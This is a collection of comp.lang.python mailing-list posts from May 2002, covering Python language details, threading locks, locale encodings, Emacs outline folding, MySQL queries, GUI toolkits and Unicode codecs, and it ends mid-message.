Subject: What makes code "readable"? (was Re: Python vs. Perl, which is better to learn?) References: <20020507000637.23324.92190.Mailman@mail.python.org> Message-ID: In article , Peter wrote: > >In any case, I'd love to teach a class using Python. I like Python's >elegant regularity. I really like the way it forces the programmer to >indent properly (I can't tell you how many rants I've given my students >about indentation). Alas, right now we give our students Perl because >Perl is seen as a language they are more likely to encounter. Python is >currently considered "exotic" in my department... something only a >quirky person like me could get into. > >I will say that the students love Perl... but that's probably because >their prior programming experience is all C and C++. :-) You know perfectly well that you could spend a week teaching Python, and at the end of the class they'd be better *Perl* programmers. -- Aahz (aahz at pythoncraft.com) <*> http://www.pythoncraft.com/ See me at OSCON! I'm teaching Python for [Perl] Programmers, a fast intro for all experienced programmers (not just Perl). Early bird ends June 10. http://conferences.oreillynet.com/os2002/ From aleax at aleax.it Wed May 1 16:25:46 2002 From: aleax at aleax.it (Alex Martelli) Date: Wed, 01 May 2002 20:25:46 GMT Subject: Comment on Draft Pep ver 4 -- Psuedo Deprecations of Builtins References: Message-ID: Jeff Epler wrote: > On Wed, May 01, 2002 at 05:37:31PM +0000, Huaiyu Zhu wrote: >> The example above was only meant to show that what John wanted can be >> achieved without apply. But of course apply does more than that. > > What "more" does apply do? Is this not a complete implementation of > 'apply' that works in any recent version of Python? > > def myapply(func, args, kw): > func(*args, **kw) Not quite -- "def apply(f, a, k): return f(*a,**k)" is a bit better (right name, necessary return statement). Alex From pereira at cis.upenn.edu Sun May 26 07:17:34 2002 From: pereira at cis.upenn.edu (Fernando Pereira) Date: Sun, 26 May 2002 07:17:34 -0400 Subject: Ann: Stackless Limbo Dancing Works Fine! In-Reply-To: <3CF0B5AD.5080407@tismer.com> Message-ID: On 5/26/02 6:15 AM, "Christian Tismer" wrote: > Discordance on these issues might make me want to leave them. > Please, all, your task is to make me do the right thing(TM), > which is a real challenge. Internals have for sure their own > auditory. Please continue with advice, which was great so far. Here are the design decisions that underlies the most recent hair-splitting: do channels have single readers and writers (1-to-1 channels), or not? If they are 1-to-1, how is that enforced? I think JCSP deals with this the right way. There are several classes of channel: 1-to-1, 1-to-many, many-to-1, many-to-many, but all of them share common interfaces for reading and writing. The most complicated case, many-to-many, would need some ariant of the full machinery described in that old Cardelli paper; the others would be easier sub-cases. I also like this design because you can start with 1-to-1, which is the easiest and most common case, and add the others if and when needed. -- F From stephen at xemacs.org Wed May 8 02:42:21 2002 From: stephen at xemacs.org (Stephen J. Turnbull) Date: 08 May 2002 15:42:21 +0900 Subject: What makes code "readable"? (was Re: Python vs. Perl, which is better to learn?) References: <20020507000637.23324.92190.Mailman@mail.python.org> Message-ID: <87pu07rvhu.fsf@tleepslib.sk.tsukuba.ac.jp> >>>>> "James" == James J Besemer writes: James> However, for short names to be appropriate, the useage James> needs to be simple and very local in scope. (Of course James> where to draw the line is a judgement call). My experience in X?Emacs has been that the "many hands" eventually expand some scopes; not everybody is a good programmer, or they may have an "important" bug that needs "fixed right now". So you should also consider how likely it is that somebody with a different design sense than you will work on the code later. -- Institute of Policy and Planning Sciences http://turnbull.sk.tsukuba.ac.jp University of Tsukuba Tennodai 1-1-1 Tsukuba 305-8573 JAPAN My nostalgia for Icon makes me forget about any of the bad things. I don't have much nostalgia for Perl, so its faults I remember. Scott Gilbert c.l.py From cliechti at gmx.net Mon May 6 13:30:18 2002 From: cliechti at gmx.net (Chris Liechti) Date: 6 May 2002 19:30:18 +0200 Subject: Synchronization mixin in Python anyone? References: Message-ID: Gustavo Cordova wrote in news:mailman.1020692951.25653.python-list at python.org: >> Gustavo Cordova wrote in >> news:mailman.1020461587.9261.python-list at python.org: >> try: >> args = self._args + args >> kw.update(self._kw) >> return = self._function(*args, **kw) >> finally: >> self._lock.release() >> > > But what about any exception that's raised? > > Does the finally: clause re-raise the exception so that > it can be caught upstream? yes, as Alex already told. the neat thing about try: finaly: is that it is realy executed in any case, no matter what you do in there from "break" over "raise" to "return". >> the SynchronizedCall wrapper might be too simple for OO. i >> think it makes more sense when one method can lock out another >> on the same instance, like "synchronized" in Java (e.g. get >> and set methods for an attribute can not be called at the same >> time). maybe it is that what the OP wanted with his mix-in. > > Yes, I was thinking of something like that with the regex example, > a way to block between the time a thread enters *any* method of an > instance, until it exits the method. And that's where it gets > complicated. > > Maybe with some little hacking of the interpreter, we could make > a "synchronized" function, like "property()". > > Who knows :-) i do :)) well after i answered to you post i had to play around with that for myself. i've posted a "synchronized" function that you can use like "staticmethod". i've posted in a separate message in this thread, but i can send it again if you're interested. it has only a small issue. the first time a synchronized method is called is critical - only _one_ thread must do this or more than one lock could be created and all but one are lost. but this can easily be solved by making __init__ synchronized. this does not harm and is guaranteed to be only called once per instace by a single thread. i don't want that _all_ method get "synchronized" for an instance - just selected ones. the reason is that sometimes you need async messages. e.g. if that object holds a flag which you want to set but you don't want to wait because an other thread uses a method. chris -- Chris From cogs2002 at hotmail.com Sun May 19 17:04:29 2002 From: cogs2002 at hotmail.com (alex gigh) Date: Sun, 19 May 2002 21:04:29 +0000 Subject: Regular Expressions and RFC 822 Message-ID: Hi; I am trying to write a mail server in Python and I found out that I can use regular expressions and then grouping: "For example, an RFC-822 header line is divided into a header name and a value, separated by a ":". This can be handled by writing a regular expression which matches an entire header line, and has one group which matches the header name, and another group which matches the header's value. " Can someone help me by showing me an example of how I could do this... Many Thanks Alex _________________________________________________________________ Get your FREE download of MSN Explorer at http://explorer.msn.com/intl.asp. From martin at v.loewis.de Mon May 13 02:21:55 2002 From: martin at v.loewis.de (Martin v. Loewis) Date: 13 May 2002 08:21:55 +0200 Subject: unknown locale de_DE@euro References: Message-ID: vincent wehren writes: > "To get the encoding" pretty much sums it up. I manage the translation > center of a vendor of industry-specific ERP systems. Now, apart from the > translation effort, a lot of my focus is on issues such as encodings, code > pages, and so on. I therefore often use a python script to "spy" the > default encoding as well as the keyboard layout of the os - for info > purposes I see. For that, I really recommend to use nl_langinfo(CODESET): this will be able to determine that de_DE at euro uses ISO-8859-15, which getdefaultlocale cannot possibly determine. I was hoping that you would answer something like "to print text in that encoding to a terminal", for which I would propose the addition of a function locale.terminal_encoding(). Alas, "for info purposes" probably could use the same function if it were available. Thanks, Martin From pyth at devel.trillke.net Fri May 10 14:25:31 2002 From: pyth at devel.trillke.net (holger krekel) Date: Fri, 10 May 2002 20:25:31 +0200 Subject: Thoughts on new grammar rules (PEP 284 in particular) In-Reply-To: ; from sholden@holdenweb.com on Fri, May 10, 2002 at 02:12:13PM -0400 References: <82undu4anb47usgck50ebil2ku1f36173q@4ax.com> Message-ID: <20020510202531.F25906@prim.han.de> Steve Holden wrote: > I'm not sure what you think would be wrong. It's only the syntax/semantics > of the "for" statement this PEP would change. As always, the "if" statement > you quote will work (Python has had chained comparisons since God was a > small girl): > > >>> for x in range(-10, 20): # [-10, -9, ... , 19] > ... if 0 <= x < 10: > ... print x, "is in range" > ... > 0 is in range > 1 is in range > 2 is in range > 3 is in range > 4 is in range > 5 is in range > 6 is in range > 7 is in range > 8 is in range > 9 is in range > >>> david and you are right but additionally the OP suggested a general [* syntax *] escape mechanism. holger From lac at strakt.com Sun May 12 15:06:37 2002 From: lac at strakt.com (Laura Creighton) Date: Sun, 12 May 2002 21:06:37 +0200 Subject: Conditional compilation In-Reply-To: Message from holger krekel of "Sat, 11 May 2002 14:13:51 +0200." <20020511141351.K25906@prim.han.de> References: <3cdbb641_2@news3.newsgroups.com> <3CDBBC97.4D00043A@cascade-sys.com> <20020511141351.K25906@prim.han.de> Message-ID: <200205121906.g4CJ6brW005045@theraft.strakt.com> > > thanks. but this doesn't do 'collapsing' several lines into temporary > nothingness. > > holger I missed the start of this, but, is this what you want? Courtesy Ronny Wikh rw @ strakt.com This we use to make whole classes go away so you can see program structure. Laura --------- ;; ;; python outline mode ;; (defvar outline-start-hidden t "Start outline hidden") (defun outline-setup (regexp) "Setup outline mode" (defvar outline-toggle-all-flag nil "toggle all flag") (defvar cpos_save nil "current cursor position") (outline-minor-mode) (setq outline-regexp regexp) (define-key outline-minor-mode-map "\C-c\C-e" 'outline-toggle-entry) (define-key outline-minor-mode-map "\C-c\C-a" 'outline-toggle-all) (if outline-start-hidden (hide-body)) (defun outline-toggle-entry () (interactive) "Toggle outline hiding for the entry under the cursor" (if (progn (setq cpos_save (point)) (end-of-line) (get-char-property (point) 'invisible)) (progn (show-subtree) (goto-char cpos_save)) (progn (hide-leaves) (goto-char cpos_save)))) (defun outline-toggle-all () (interactive) "Toggle outline hiding for the entire file" (if outline-toggle-all-flag (progn (setq outline-toggle-all-flag nil) (hide-body)) (progn (setq outline-toggle-all-flag t) (show-all)))) ) (defun python-outline () (interactive) "Python outline mode" (python-mode) (outline-setup "^class \\|[ ]*def \\|^#")) (defun texi-outline () (interactive) "Texinfo outline mode" (texinfo-mode) (outline-setup "^@chap\\|@\\(sub\\)*section")) From deckerben at freenet.de Tue May 7 15:55:27 2002 From: deckerben at freenet.de (deckerben) Date: Tue, 7 May 2002 21:55:27 +0200 Subject: Looking for a scripting language References: <3cd49f78$0$355$9b622d9e@news.freenet.de> <3cd51348$0$151$9b622d9e@news.freenet.de> <3CD526E8.EA6CDBBF@engcorp.com> <3cd52c11$0$25705$9b622d9e@news.freenet.de> <3CD717CA.4E204E31@engcorp.com> Message-ID: <3cd82d2c$0$353$9b622d9e@news.freenet.de> > So ... this means that (1) you are pretending to be "posix" [can you > live up to that?] and Thank you for the reply. The problem you are referring to has already been apperantly solved. BTW: Many packages think that they are being installed on a POSIX-based system when DJGPP builds them, becuase it uses the same 'configure-make' dance that normally only UNIX platforms use. DJGPP is itself, a port of all the GNU tools, just like porting to Cygwin or so. The advantage is that you are not limited to running the exectable in Windows and needing all the Cygwin stuff. I the future, I will try to bring more real-DOS flavoring to the port where it's needed. I will probably have to make a couple more small changes to the standard library and distutils. Probably one of the greatest losses is that I don't have the socketmodule ported. The mmapmodule memeory routines also fell out. This port will be labeled 'expiremental' and I would appreciate feedback. If there are any floorboards loose, we'll find 'em. > Not having done a port, I'm not qualified either, but until a better > suggestion comes along: (1) kill off your malformed os.uname (2) > ensure that your sys.platform returns something sensible, maybe > "djgpp" (3) Hope that distutils does something sensible with unknown > values returned from sys.platform; you may need to submit some patches > to the distutils maintainers. You may need to "register" your port > with (a) the distutils maintainers (b) the BDFL. You may need to ask > generally what other known gotchas there might be for a porter ... The other serious limitation will be when running SETUP.PY routines, calls to the C compiler cause Python to run out of memeory for one reason or another. I haven't figured it out yet. Ben From jajvirta at cc.helsinki.fi Wed May 22 15:02:28 2002 From: jajvirta at cc.helsinki.fi (Jarno J Virtanen) Date: 22 May 2002 19:02:28 GMT Subject: Why does Python mix OO concepts and non OO concepts for operation s on basic types? References: Message-ID: Wed, 22 May 2002 13:13:06 -0500 Michael Bauers wrote: > > Why do you say x = []; x.append('a'), but get the length with len(a) ? > > Is there a reason for this sort of inconsistency? why not check the FAQ? http://www.python.org/cgi-bin/faqw.py?req=all#6.5 From pinard at iro.umontreal.ca Wed May 29 10:56:12 2002 From: pinard at iro.umontreal.ca (=?iso-8859-1?q?Fran=E7ois?= Pinard) Date: 29 May 2002 10:56:12 -0400 Subject: Browsing a big mailbox offline In-Reply-To: <2002529-10584-626303@foorum.com> References: <2002529-10584-626303@foorum.com> Message-ID: [Sebastien SAUVAGE] > I'm looking for a convenient way for browsing *offline* the marvellous > comp.lang.python archive (a nice 397 Mb mailbox file available at > http://mail.python.org/pipermail/python-list/ ) > I found no news client capable of reading/importing a raw unix mailbox. > Does anybody know a news client capable of this ? (platform : Windows) > Or will I have to install a local NNTP server ? (something like CoffeeLink > Open News Server or Hamster ?) If I had the above problem, I'd probably do like usual for me in such cases: I would write a Python script able to turn the big mailbox file into a Gnus `nnml' structure (not difficult, I guess), and then use Gnus to read it. When the archive file is 30 Megs or less, I usually read it directly with Gnus. It is a very nice reader for my needs. -- Fran?ois Pinard http://www.iro.umontreal.ca/~pinard From skip at pobox.com Thu May 9 15:08:28 2002 From: skip at pobox.com (Skip Montanaro) Date: Thu, 9 May 2002 14:08:28 -0500 Subject: Python stagnating? In-Reply-To: References: Message-ID: <15578.51500.876399.592953@12-248-41-177.client.attbi.com> chris> What is the status of Python development? Or the supporting chris> organization? I notice a lot of links in the FAQ and other chris> documents are outdated/broken, and surfing the web I saw a lot of chris> references to the "Python Starship" but it looks like it hasn't chris> been updated in a few years... Just like every other Python-related thing, support of the various Python-related websites, in particular www.python.org, is a volunteer thing. If you find busted links on www.python.org, please send a note to pydotorg at python.org that says something like On http://www.python.org/Jobs.html the link to http://www.zope.com/ isn't working. That will allow one of us with change permissions to the CVS repository to investigate easily. By my crude count just now there are over 900 HTML pages under CVS control, so just saying "a lot of links ... are outdated/broken" doesn't narrow it down a lot. (Actually, it keeps me from checking the Mojam and Musi-Cal sites for broken links, but that's about it...) I can't comment on the status of the Starship. Don't take its condition as an indication of the status of the language or its community, however. Here are a few references you might take a look at which suggest Python is actually fairly un-stagnant: http://groups.yahoo.com/group/python-list/ - check the monthly message counts at the bottom of the page http://groups.yahoo.com/group/python-announce-list/ - again, check the monthly message counts http://sf.net/ - search in software/groups for "python" and page through the results http://sourceforge.net/top/mostactive.php - note that Python is the fourth most active project on SourceForge (only #32 during the past week, however) -- Skip Montanaro (skip at pobox.com - http://www.mojam.com/) "Excellant Written and Communications Skills [required]" - post to chi.jobs From warlock at eskimo.com Mon May 6 14:41:45 2002 From: warlock at eskimo.com (Jim Richardson) Date: Mon, 6 May 2002 11:41:45 -0700 Subject: degrees and radians. References: <3330ba.s35.ln@127.0.0.1> <3CD41962.57104BD7@acm.org> <3CD6166E.19CE99CB@cosc.canterbury.ac.nz> Message-ID: <9pi6ba.lbo.ln@127.0.0.1> -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 On Mon, 06 May 2002 17:36:46 +1200, Greg Ewing wrote: > Robert George Mayer wrote: >> >> I find that it help to curse the Babylonian astronomers while >> putting all the conversions in place. > > You can make both these tasks a litte easier > using the following handy function: > > def curse_babylonian_astronomers(d): > import math > return d * math.pi / 180.0 > argh! I tried that, and Marduk smashed my computer with an Axe.... bad thing, very bad thing.... -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.6 (GNU/Linux) Comment: For info see http://www.gnupg.org iD8DBQE81s5pd90bcYOAWPYRAnMuAKDWK9VdZxBm8YXqmUWohx2h5FSCswCfdwjI BIDbbHQyp1E8Chg5JmdYHhw= =06/B -----END PGP SIGNATURE----- -- Jim Richardson Anarchist, pagan and proud of it http://www.eskimo.com/~warlock Linux, from watches to supercomputers, for grandmas and geeks. From pyth at devel.trillke.net Fri May 10 08:42:52 2002 From: pyth at devel.trillke.net (holger krekel) Date: Fri, 10 May 2002 14:42:52 +0200 Subject: Conditional compilation In-Reply-To: <3CDBBC97.4D00043A@cascade-sys.com>; from jb@cascade-sys.com on Fri, May 10, 2002 at 05:27:04AM -0700 References: <3cdbb641_2@news3.newsgroups.com> <3CDBBC97.4D00043A@cascade-sys.com> Message-ID: <20020510144252.A25906@prim.han.de> James J. Besemer wrote: > jb wrote: > > > It does not seem to be possible to "comment out" blocks of code, which would > > be a very nice feature for testing purposes. (Maybe I can do it with """ > > but that looks a bit cumbersome.) > > Prefix your code segment with > > if 0: > > and indent it a level. """ and 'if 0:' are the standard possibilities. I guess one would need a truly developer oriented IDE to implement this indepently from language (handling say a all-included-file and a work-file separetely). Can't emacs or vi do folding/collapsing several lines into one line and allow writing out non-folded lines only? > --jb jb answers jb. maybe i am joining a monologue? :-), holger From gh_pythonlist at gmx.de Sat May 18 05:02:26 2002 From: gh_pythonlist at gmx.de (Gerhard =?iso-8859-15?Q?H=E4ring?=) Date: Sat, 18 May 2002 11:02:26 +0200 Subject: How do you code in Python ??? In-Reply-To: <20020518114633.B8164@phd.pp.ru> References: <409a56e2.0205170047.429beb44@posting.google.com> <2_7F8.143579$o66.425118@news-server.bigpond.net.au> <3CE58D4A.AA521EA1@engcorp.com> <20020518114633.B8164@phd.pp.ru> Message-ID: <20020518090225.GA991@lilith.my-fqdn.de> * Oleg Broytmann [2002-05-18 11:46 +0400]: > On Fri, May 17, 2002 at 07:07:54PM -0400, Peter Hansen wrote: > Hungarian notation is bad. > (Another sign of it is that M$ uses it :) Are you sure that they eat their own shit? They don't for their version control software, for example. Gerhard -- mail: gerhard bigfoot de registered Linux user #64239 web: http://www.cs.fhm.edu/~ifw00065/ OpenPGP public key id AD24C930 public key fingerprint: 3FCC 8700 3012 0A9E B0C9 3667 814B 9CAA AD24 C930 reduce(lambda x,y:x+y,map(lambda x:chr(ord(x)^42),tuple('zS^BED\nX_FOY\x0b'))) From egrossde at yahoo.de Sun May 5 14:44:15 2002 From: egrossde at yahoo.de (jb) Date: Sun, 05 May 2002 20:44:15 +0200 Subject: Global variables in different moduls References: <3cd56d91_1@goliath2.newsgroups.com> Message-ID: <3cd57b7e_1@goliath2.newsgroups.com> Sorry, but I still do not understand. Module main.py would need a function from other.py (i.e, call a function declared in other.py. To tell you the full truth, it is not a normal function but a PyQt SIGNAL. The module other.py needs the variales from main.py. Can i solve this problem? -- J B Il n'y a gu?re dans la vie qu'une pr?occupation grave: c'est la mort; (Dumas) -----------== Posted via Newsfeeds.Com - Uncensored Usenet News ==---------- http://www.newsfeeds.com The #1 Newsgroup Service in the World! -----= Over 100,000 Newsgroups - Ulimited Fast Downloads - 19 Servers =----- From kwokng at earthlink.net Tue May 7 22:36:41 2002 From: kwokng at earthlink.net (Billy Ng) Date: Wed, 08 May 2002 02:36:41 GMT Subject: MySQL questions References: Message-ID: I notice the subselect will be in version 4 Billy Ng "Gerhard H?ring" wrote in message news:mailman.1020816014.17321.python-list at python.org... > * Billy Ng [2002-05-07 23:33 +0000]: > > The combination of the user_id and product_id will be uniqe. > > You'd make this combination the primary key, then. Just add this to your > table definition: primary key(user_id, product_id) Fields used for a > PRIMARY KEY must be NOT NULL. > > > When I get the > > product_id and user_id, i want to change the tableA to see if there is a > > record that has this user_id and product_id. If not, I will insert a record > > with this user_id and product_id. What I am doing right is: > > > > Query to count tableA whether it has the user_id and product_id > > if count is 0 > > insert tableA (user_id, product_id) values (xxxxx, xxxxxxx) > > > > I think it must a way to write it in one SQL statement. > > I don't think this is possible, INSERT and UPDATE are different beasts. > Sometimes, you can avoid evaluating the SELECT by just DELETEing the > entry, then INSERTing a new one. If there's no match to the WHERE clause > in the delete, it won't delete anything, so it's basically the > non-existant "INSERT OR UPDATE" that you seem to look for. > > > > > Question3 > > > > Can I query from a query in MySQL? > > > > > > > You mean can the output of one query become the input of another? Only if > > > you store the first query's output in a temporary table. > > Yes, MySQL doesn't have subselects, which is one of it's many > weaknesses. > > Gerhard > -- > mail: gerhard bigfoot de registered Linux user #64239 > web: http://www.cs.fhm.edu/~ifw00065/ OpenPGP public key id AD24C930 > public key fingerprint: 3FCC 8700 3012 0A9E B0C9 3667 814B 9CAA AD24 C930 > reduce(lambda x,y:x+y,map(lambda x:chr(ord(x)^42),tuple('zS^BED\nX_FOY\x0b'))) > > > From peter at engcorp.com Fri May 31 21:43:06 2002 From: peter at engcorp.com (Peter Hansen) Date: Fri, 31 May 2002 21:43:06 -0400 Subject: How to concatenate list members References: <3CF6B54A.41E4E81B@engcorp.com> Message-ID: <3CF826AA.2E19B8B9@engcorp.com> Christopher wrote: > [Peter had written about improving a bit of lambda code] > Ah yes, I do agree wholeheartedly. It was merely, as I said, the > idiom from the Eckel page. Yeah, I was wailing on Bruce, not on you! :-) -Peter From kwokng at earthlink.net Wed May 1 00:26:21 2002 From: kwokng at earthlink.net (Billy Ng) Date: Wed, 01 May 2002 04:26:21 GMT Subject: Python vs. Perl, which is better to learn? References: Message-ID: Don't get me wrong. I said I did not feel comfortable to use Pytohn RE because I am not familiar with the methods. I don't mean that the Python one is not as good as Perl. :-) Billy Ng "Mark McEahern" wrote in message news:mailman.1020222424.15831.python-list at python.org... > [Billy Ng] > > I am also new to python. I think python will be my replacement of perl. > > However, if I need to do very heavy regular expression, I still > > prefer perl. > > I just don't feel comfortable with the python's re syntax. > > I've heard this sentiment expressed before. I can count on my hands the > number of times I've used Perl--all before I learned about Python--so I'm > largely ignorant of Perl. > > Could you give us a concrete example where the use of regular expressions in > Perl is superior to Python? > > Thanks, > > // mark > > > > From mgilfix at eecs.tufts.edu Sun May 5 16:25:59 2002 From: mgilfix at eecs.tufts.edu (Michael Gilfix) Date: Sun, 5 May 2002 16:25:59 -0400 Subject: Stripped down python Message-ID: <20020505162559.C18380@eecs.tufts.edu> I think someone had a thread going a while back on this but I can't find it in the archive or in any searches. Has anyone done any work on creating a stripped down version of python: essentially, I want all the core functionality of python (parser, compiler, and core objects) without any of the library functionality. I'm also interested in eliminating as many external dependencies of the interpreter so I can embed just the core language and not worry any external issues. -- Mike -- Michael Gilfix mgilfix at eecs.tufts.edu For my gpg public key: http://www.eecs.tufts.edu/~mgilfix/contact.html From jbreen at nospam.com Wed May 22 18:33:58 2002 From: jbreen at nospam.com (John J Breen) Date: Wed, 22 May 2002 18:33:58 -0400 Subject: pyGTK Message-ID: <3CEC1CD5.A7A57A8E@nospam.com> Hey everyone, I am new to both python and GTK and would like to write an application using pyGTK. I have been able to get some standard widgets and things working but have not been able to get as much done as I would like. I can't seem to find much as far as documentation goes for pyGTK, it seems the best I can find is C/GTK code and converting/understanding it has been difficult. Can anyone make any suggestions as to what to do? Websites? Some open-source applications already written in pyGTK would be great to look at the source code and see whats going on. Thanks John From martin at v.loewis.de Sun May 12 10:53:03 2002 From: martin at v.loewis.de (Martin v. Loewis) Date: 12 May 2002 16:53:03 +0200 Subject: Multibyte Character Surport for Python In-Reply-To: <200205111549.g4BFn0jX013371@ratthing-b246.strakt.com> References: <877kmag92g.fsf@tleepslib.sk.tsukuba.ac.jp> <200205111549.g4BFn0jX013371@ratthing-b246.strakt.com> Message-ID: Laura Creighton writes: > I can provide any number of people who consider, as a matter of > principal, that it is _always_ better to make it part of the > library and not part of the language. Some of these people will > also argue that it is bad to provide users with options. This is > the 'lean and elegant' school of language design, and they are > extrmely consistent in liking tiny languages with large libraries. On this specific question (source encodings): which of those people specifically would favour Stephen's approach (which, I must admit, I have not fully understood, since I don't know how he wants the hooks to be invoked). Regards, Martin From mwh at python.net Thu May 23 06:26:24 2002 From: mwh at python.net (Michael Hudson) Date: Thu, 23 May 2002 10:26:24 GMT Subject: Compiling python2.2.1 on redHat 6.1 - doesn't work References: <23891c90.0205220343.4aa581c8@posting.google.com> Message-ID: matthew.russell at securetrading.com (Matt Russell) writes: > has anyone else had this problem? I would be very suprised if no one > else out there has not tried to compile Python2.2.1 on RedHat 6.1!! There's a bug on sf about it -- search for PRIO_PROCESS. In fact, I just did and found: http://python.org/sf/535545. It seems to be a redhat 6 bug, if anything. Cheers, M. -- I'm a keen cyclist and I stop at red lights. Those who don't need hitting with a great big slapping machine. -- Colin Davidson, cam.misc From vvainio at tp.spt.fi Fri May 10 02:33:11 2002 From: vvainio at tp.spt.fi (Ville Vainio) Date: 9 May 2002 23:33:11 -0700 Subject: Python ORB References: Message-ID: "moray.grieve" wrote in message news:... > Does anyone know of a python ORB that supports wstrings, and is > compatible with Python 2.2? From what I have seen and tried, both > omniORBpy and Fnorb do not support wstring declarations in the IDL. > > With many thanks for any help, > > Moray Grieve omniORBpy will apparently support wstings in the next version. See: http://www.uk.research.att.com/cgi-bin/omni-wiki/moin.cgi/OmniOrbPy2DevelopmentStatus -- Ville From pearu at cens.ioc.ee Sat May 4 08:01:52 2002 From: pearu at cens.ioc.ee (Pearu Peterson) Date: Sat, 4 May 2002 15:01:52 +0300 (EEST) Subject: F2PY problems In-Reply-To: <3CD3C109.8DC3FB80@kfunigraz.ac.at> Message-ID: On 4 May 2002, Siegfried Gonzi wrote: > I got the advice to try to force the system to use mingw32-support. The > scipy-distutils is included with the F2PY distribution, but when I force > the use of mingw32-support I get the error message that "lib2def" cannot > be imported. The ming32-support.py file tells me that "lib2def" is > somehow connected with weave. But the F2PY distriubution does not > mention any weave libraries. I then deleted the weave part but it is > clear I get the error message that gcc will possibly fail. This information might be useful for tracking down the problem. Namely, it is possible scipy_distutils that comes with F2PY is a bit older than the latest scipy_distutils and therefore lacking some bits regarding to Windoza stuff. I suggest that you update scipy_distutils from www.scipy.org (you need to get it from its CVS repository). That said, I looked at the scipy CVS and found that mingw32-support needs lib2def but that is part of the weave package. So, as a quick fix, get lib2def.py file from the scipy/weave directory and put it into the f2py2e/scipy_distutils directory and reinstall f2py. This should solve your problem, I hope. > Is there an alternative to F2PY? Well, there is always SWIG, Pyfort, manual wrapping. Regards, Pearu From bkc at Murkworks.com Thu May 23 09:59:00 2002 From: bkc at Murkworks.com (Brad Clements) Date: Thu, 23 May 2002 09:59:00 -0400 Subject: Embedded Python script debugger??? References: Message-ID: <3ceceec6$1_3@goliath.newsgroups.com> I'm keeping an eye on HAP because I think it will be useful for debugging Python CE applications. The holdup is that I need a seperate .exe on the client to do this. What would be very interesting .. is a HAP client DLL that is also a Python module. So, from python I could instantiate a HAP client debug session (the HAP client module would create a new interpreter to do this). Just need some options for hooking up debug output text so it could be sent back to the original interpreter if needed (rather than a console, because CE doesn't have a console). -- Novell DeveloperNet Sysop #5 _ "nealj" wrote in message news:d3768569.0205221233.8079de2 at posting.google.com... > Hap could be adapted to do this quite easily (in fact I will be doing > it in the next few weeks). Currently, Hap uses an app that takes the > place of python.exe to execute the python scripts. This app handles > the socket and the debugging stuff - instead of "hapclient.exe", it > could just as easily be your application that gets run. > > My plan is to repackage the code in the app to make this easier - then > all you would have to do is to link to a dll and you're off. Keep an > eye on the Hap site on sourceforge - there will be important and > interesting updates coming soon. > > If you are intersted in trying it out, get the source from SourceForge > (its currently only there in .zip format) and take a look at > ConsoleEmbed.cpp in the HapClient directory - you'll see it doesn't > really do much other than setup the debugging and run the script. Let > me know if you have any questions - the best way to get in contact is > through the sourceforge email https://sourceforge.net/users/nealj/ > > Good Luck! > Neal -----------== Posted via Newsfeed.Com - Uncensored Usenet News ==---------- http://www.newsfeed.com The #1 Newsgroup Service in the World! -----= Over 100,000 Newsgroups - Unlimited Fast Downloads - 19 Servers =----- From d_blade8 at hotmail.com Wed May 1 16:23:42 2002 From: d_blade8 at hotmail.com (Lemniscate) Date: 1 May 2002 13:23:42 -0700 Subject: Newbie question: how to join a list of elements of user-defined types? References: <200204292311.57363.bhan@andrew.cmu.edu> <200204301613.44775.bhan@andrew.cmu.edu> Message-ID: <7396d2b2.0205011223.10dad38b@posting.google.com> holger krekel wrote in message news:... > Funny to notice, that at least ANSI-C++ is *newer* than python as far > as i know. :-) Funny. ANSI-C++ is indeed *newer* than python, but you are comparing apples to oranges (you are comparing a version of one language with the whole of another). I respond by saying that Python 2.2.1 is much, *much* newer than any C++ implementation. Additionally, somebody learning something new has nothing to do with the age of the information they digest. I can go to google right now and learn something *new* about the ancient Greeks (and, yes, ANSI-C++ is *newer* than the ancient greeks, ;-) ). Just my $.02. > you might want to look at: > > http://www.python.org/doc/Comparisons.html > > have fun, > > holger An excellent recommendation. From altis at semi-retired.com Fri May 10 01:40:07 2002 From: altis at semi-retired.com (Kevin Altis) Date: Thu, 9 May 2002 22:40:07 -0700 Subject: ANN: PythonCard 0.6.6 Message-ID: PythonCard is a GUI construction kit for building cross-platform desktop applications on Windows, Mac OS X, and Linux. Release 0.6.6 includes 30 sample applications, new additions include a source code editor and a sample for creating flat file databases. This release also supports the new wxPython 2.3.3 preview for Mac OS X. All the information you need about PythonCard can be found on the project web page at: http://pythoncard.sourceforge.net/ The installation instructions and walkthroughs are available on the main documentation page: http://pythoncard.sourceforge.net/documentation.html You can download the latest release at: http://sourceforge.net/project/showfiles.php?group_id=19015 For a list of some of the samples that have been built with PythonCard and screenshots of them in action go to: http://pythoncard.sourceforge.net/samples.html A description of each sample is included in the readme.txt file in each sample directory. The kind people at SourceForge host the project: http://sourceforge.net/projects/pythoncard/ If you want to get involved the main contact point is the Mailing list: http://lists.sourceforge.net/lists/listinfo/pythoncard-users PythonCard requires Python 2.1.x or later and wxPython 2.3.2.1 or later. wxPython can be downloaded at http://www.wxpython.org/ ka --- Kevin Altis altis at semi-retired.com From stephen at xemacs.org Mon May 13 05:26:02 2002 From: stephen at xemacs.org (Stephen J. Turnbull) Date: 13 May 2002 18:26:02 +0900 Subject: Multibyte Character Surport for Python References: <87g011q3fl.fsf@tleepslib.sk.tsukuba.ac.jp> <87y9etmya6.fsf@tleepslib.sk.tsukuba.ac.jp> <87sn4zf8hj.fsf@tleepslib.sk.tsukuba.ac.jp> <87bsbmg9is.fsf@tleepslib.sk.tsukuba.ac.jp> <87elgientw.fsf@tleepslib.sk.tsukuba.ac.jp> <87d6w0bpyy.fsf@tleepslib.sk.tsukuba.ac.jp> Message-ID: <87offkl7px.fsf@tleepslib.sk.tsukuba.ac.jp> >>>>> "Martin" == Martin v Loewis writes: Martin> No, that is not the only way. Just use UTF-16BE, and all Martin> will be fine. If that were feasible, then there would be no UTF-16LE, no UTF-16, and no BOM. Or at the very least, Python could get away with aliasing UTF-16 to UTF-16BE on _all_ platforms. Here's some more codec fun: bash-2.05a$ python Python 2.1.3 (#1, Apr 20 2002, 10:14:34) [GCC 2.95.4 20011002 (Debian prerelease)] on linux2 Type "copyright", "credits" or "license" for more information. >>> import codecs >>> dir(codecs) ['BOM', 'BOM32_BE', 'BOM32_LE', 'BOM64_BE', 'BOM64_LE', 'BOM_BE', 'BOM_LE', ...] # BOM64* ??!? Hmm >>> codecs.BOM_BE '\xfe\xff' >>> codecs.BOM64_BE '\x00\x00\xfe\xff' >>> codecs.BOM32_BE '\xfe\xff' >>> # And howcum no BOM8, which actually has some basis in the standard? >>> f = codecs.open("/tmp/utf16","w","utf-16") >>> f.write(u"a") >>> f.close() >>> f = 